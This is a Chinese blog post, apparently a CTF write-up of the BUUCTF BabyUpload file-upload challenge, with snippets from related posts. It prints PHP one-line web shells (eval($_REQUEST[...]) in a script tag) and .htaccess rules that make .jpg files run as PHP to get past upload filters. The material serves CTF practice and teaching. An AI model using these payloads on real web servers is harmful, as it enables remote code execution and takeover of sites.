buuctf-BabyUpload

已于 2022-03-26 13:23:45 修改
阅读量900 收藏
点赞数
文章标签： 网络安全
于 2022-03-26 13:23:21 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_62094846/article/details/123745118
版权

上传php文件,过滤后缀

上传jpg文件

上传png文件，和文件类型有关（Content-Type）

 

 所以应该要上传jpg文件类型

上传一句话木马就会出现问题，筛查后发现是<?php

 改一下木马格式就可以了

<script language="php">eval($_REQUEST[value])</script>

 但是后缀无法修改成php类型，各种方式都试过了

想到.htaccess和.user.ini

和文件类型有关，就修改文件类型

<FilesMatch "jpg">
SetHandler application/x-httpd-php
</FilesMatch>

 我之前存的几个代码好像都不能用

m0_62094846
关注
【复习】BUUCTF：[GXYCTF2019]BabyUpload -- 对.htaccess的 包含自己和解析图片马为php文件都可以的 。。也算easy
Zero_Adam的博客
04-19 1162
一、自己做： 只需要更改Content-Type就能够绕过了，但是好像对文件内容有过滤。 那么，不能有？ ，看看PHP的版本，看看能够用html的script进行绕过 能成功，看看能否解析。
BUUCTF BabyRSA
qq_63719504的博客
07-15 456
BUUCTF BabyRSA 。本题考察数学中的平方和和平方差以及进制转换和最基础的RSA加密得到密文m。先用int('0x',16)将16进制转换成10进制。可以用来对bytes对象的内容进行显示。
BUUCTF之BabyUpload[GXYCTF2019]
金 帛的博客
06-11 613
BUUCTF的wp
BUUCTF学习笔记-BabyUpLoad
Emmawas的博客
09-28 721
考点：.htaccess绕过，文件内容为 AddType application/x-httpd-php .jpg，讲jpg文件按照php文件使用
BUUCTF——[GXYCTF2019]BabyUpload
最新发布
m_de_g的博客
04-17 511
【代码】BUUCTF——[GXYCTF2019]BabyUpload。
BUUCTF [GXYCTF2019]BabyUpload
weixin_45253622的博客
05-26 2076
文件上传题型。 直接上传一句话木马 可以看出是黑名单过滤， 想到上传.htaccess文件，然后上传图片马，getshell。 key.htaccess文件内容如下： AddType application/x-httpd-php .jpg 抓包修改文件名上传成功。 接着上传图片马，发现； 猜测过滤<?；修改一句话如下： <script language = 'php'>eval($_REQUEST[a]); </script> 构造...
BUUCTF upload-labs
oJiuJieZhong的博客
10-11 3273
①这里是前端JS限制了我们只能上传特点格式的文件 ②这里我们可以在设置里面直接关闭网页的JS ③或者通过抓包的形式，绕过前端验证 ④这里在burp suite中将jpg改成php ⑤这里上传成功 ⑥我们也可以通过抓包的形式来了解文件上传的位置 ...
BUUCTF-WEB
ccfly1012的博客
11-02 3866
目录 [HCTF 2018]WarmUp [极客大挑战 2019]EasySQL 总结万能密码 [极客大挑战 2019]Havefun [强网杯 2019]随便注 [ACTF2020 新生赛]Include [SUCTF 2019]EasySQL [极客大挑战 2019]Secret File [ACTF2020 新生赛]Exec [极客大挑战 2019]LoveSQL [GXYCTF2019]Ping Ping Ping [HCTF 2018]WarmUp 打开网页，查看一下源代
---已搬运----BUUCTF：[HFCTF2020]BabyUpload sess_ file_exist()可 检测 目录和文件 。 sha256加密， PHP代码审计
Zero_Adam的博客
04-08 657
目录:一、自己做：1. 本地先试一试1. direction = upload & attr != private2. direction == upload & attr ==private3.direction=download & attr = （private）已经存在的 & filename =必须是完整文件名4.direction=download & attr = （not-private）已经存在的 & filename =必须是完整文件名2.
BUUCTF刷题系列
qq_45655564的博客
07-11 509
[HCTF 2018]WarmUp 查看网页源代码，得到source.php 可以得到 <?php highlight_file(__FILE__); class emmm { public static function checkFile(&$page) { $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
BUUCTF Web1
ookami6497的博客
12-11 899
无
BUUCTF-[GXYCTF2019]BabyUpload
qq_43006864的博客
05-06 1202
直接开题。 上来就是一个文件上传。 这里随便传了几个文件测试，发现只能传入jpeg格式的文件。对文件名和文件类型都做了限制。 所以这里想到了之前用过了.htaccess。 传入.htaccess，格式修改为image/jpeg。 上传成功， 传入php探针进行测试，这里推荐直接上phtml格式的马子。 传入php探针，并执行成功，看来是没问题的。这里路径大家参考这个： http://84247058-8c5c-496d-b573-d01266658f00.node4.b...
BUUCTF之[GXYCTF2019]BabyUpload-------文件解析漏洞
weixin_44632787的博客
06-19 1923
BUUCTF之[GXYCTF2019]BabyUpload-------文件解析漏洞（.htaccess） 早上遇到一个文件解析漏洞，下午又遇到一个。。。。好吧，看来文件解析漏洞在CTF中也是很重要的一个知识点！！！ 首先启动挑战项目 先正常的上传一句话木马： GIF89a? <script language="php">eval($_POST['zyh']);</script> 我经常用这样的一句话木马，为了防止php文件内容被过滤啥的… 所以，把传输的文件名改回1.pn
【学习笔记 41】 buu [GXYCTF2019]BabyUpload
weixin_43553654的博客
08-02 531
0x00 知识点 .htaccess文件上传绕过 0x01 知识点详解 请参考我上一篇学习笔记 0x02 解题思路 一看就知道是上传，尝试php3，phtml，普通一句话木马改后缀也不行，而且是添加了对文件的检测。 继续尝试利用.htaccess文件上传，首先上传一个.htaccess文件 <FilesMatch "flag.png"> SetHandler application/x-httpd-php </FilesMatch> 这里注意，这道题不知道为什么，我这
BUUCTF WEB BabyUpload1
qq_41696858的博客
10-31 2771
最简单的一个文件上传，理论上只支持文件内容极少的jpeg和jpg，是的，你没有听错，内容极少 所以不要尝试去尝试上传一个jpg图片检测文件后缀，因为网上download下来的图片绝大多数内容超过限制 ok，那么经过检测，.htaccess没有被过滤 那么上传一个.htaccess文件，内容为 SetHandler application/x-httpd-php 表示凡是.htaccess文件夹所在目录的文件都由php进行处理 然后上传一句话，<script language=php>$_POST
Excel中的xls、xlsx、xlsm混合文件，看我用Python如何统一处理......
pdcfighting的博客
02-07 363
点击上方“Python爬虫与数据挖掘”，进行关注回复“书籍”即可获赠Python从入门到进阶共10本电子书今日鸡汤洞房昨夜停红烛，待晓堂前拜舅姑。引言 Python语言，近几年在办公自动...
web buuctf [GXYCTF2019]BabyUpload1
weixin_44214568的博客
03-22 849
考点：.htaccess文件， 抓包修改content-type 文件上传漏洞 1.如题： 传统上传文件题目，试了试常规的几个类型，php,phtml,php3,txt,png都不行，最后上传成功了png格式的，上传我之前写好的图片马，一句话木马内容如下： GIF89a?<script language="php">@eval($_POST[dd]);</script> 2.因为上传的是图片格式的，要将该文件变成php文件的进行上传，就需要上传.htacces
BUUCTF:[GXYCTF2019]BabyUpload1
羽的博客
07-07 3127
文件上传漏洞。 不过这里我要吐槽一下，这个题首先他不允许传.png文件， 再者.jpg文件不能大，打了也报错，传不上去。 可想而知，我当时在做这个题的时候跟见了鬼一样难受，什么文件都传不了。 接着做题吧： 试着传一个PHP文件，告诉我不能传ph开头的文件后缀名，所以这里表示后端把所有php和php的别名都封死了。 根据之前upload-labs积累的绕过姿势，还可以上传.htaccess文件。 再次上传一句话木马时，又被拦截了，这里应该是后端检测了文件内容。盲猜检测<...
[GXYCTF2019]BabyUpload
pakho_C的博客
02-19 926
web第33题 [GXYCTF2019]BabyUpload 打开靶场 一道文件上传的题目 先直接上传图片 上传jpg,png,gif文件都会有这个提示，看来是对MIME类型做了限制，上传一个png文件，将mime类型改为image/jpeg可以上传，但是image/png不行 尝试直接上传php木马文件 提示后缀名不能有ph 添加空格，修改mime类型尝试绕过 又被检测了 仍然尝试绕过，都失败了，思考，提示“诶，别蒙我啊，这标志明显还是php啊”可能是对文件内容做了检测，例如不允许出现&
buuctf-强网杯2019随便注
09-03
buuctf-强网杯2019随便注是一场2019年强网杯举办的CTF比赛中的一道题目。这道题目的名称暗示着它是一个与注入漏洞相关的题目。 注入漏洞是一种网络安全漏洞，攻击者可以通过在用户输入的数据中注入恶意代码来获取或者修改数据库中的数据。通常，这种漏洞主要存在于动态网页应用程序中，比如通过用户输入生成SQL查询语句的网页。攻击者可以通过在用户输入的数据中插入SQL代码，从而绕过正常的验证机制，查看、修改或者删除数据库中的数据。 为了解决注入漏洞，我们需要在编写动态网页应用程序时，对用户输入的数据进行严格的验证和过滤，避免将恶意代码传递给数据库。 对于buuctf-强网杯2019随便注这道题目，我们需要了解题目的具体要求和给定的环境，然后通过分析和尝试来找到漏洞的利用方法。可能的解题思路包括对输入的数据进行SQL注入、获取数据库中的信息或者修改数据库中的数据等等。 解决这道题目需要具备一定的网络安全知识和相关工具的使用能力。通过不断的尝试和调试，找到并利用漏洞成功获取到flag（标志），即为完成题目。 总之，buuctf-强网杯2019随便注是一道涉及注入漏洞的CTF题目，要求我们通过找到并利用漏洞来获取flag。完成这道题目需要一定的网络安全知识和技术。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值